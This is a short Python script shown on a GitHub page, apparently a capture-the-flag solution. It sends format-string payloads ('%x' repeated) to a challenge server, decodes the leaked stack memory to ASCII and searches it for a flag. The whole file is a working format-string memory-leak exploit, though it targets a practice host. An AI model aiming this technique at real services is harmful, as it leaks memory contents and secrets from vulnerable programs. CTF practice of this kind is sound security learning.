-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit5.py
47 lines (38 loc) · 1.41 KB
/
exploit5.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import socket
import re
# Function to decode hexadecimal to ASCII
def hex_to_ascii(hex_values):
ascii_output = ""
for hex_val in hex_values:
try:
ascii_output += bytes.fromhex(hex_val).decode("utf-8", errors="ignore")
except ValueError:
pass
return ascii_output
# Search for FLAG pattern in decoded ASCII
def search_flag(decoded_output):
match = re.search(r"FLAG\{.*?\}", decoded_output)
return match.group(0) if match else None
host = "challenges.0x0539.net"
port = 7070
max_payload_length = 20
for length in range(10, max_payload_length + 1, 5):
payload = "%x " * length # Generate payload of variable size
print(f"\n[+] Testing Payload with {length} entries")
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
banner = s.recv(1024).decode()
print("Banner:\n", banner)
s.sendall(payload.encode() + b"\n")
response = s.recv(4096).decode()
print("\nRaw Response:\n", response)
# Extract and decode stack values
hex_values = re.findall(r"[0-9a-fA-F]{8}", response)
print("\nHex Values:\n", hex_values)
decoded_output = hex_to_ascii(hex_values)
print("\nDecoded ASCII:\n", decoded_output)
# Search for FLAG
flag = search_flag(decoded_output)
if flag:
print(f"\n[!] FLAG FOUND: {flag}")
break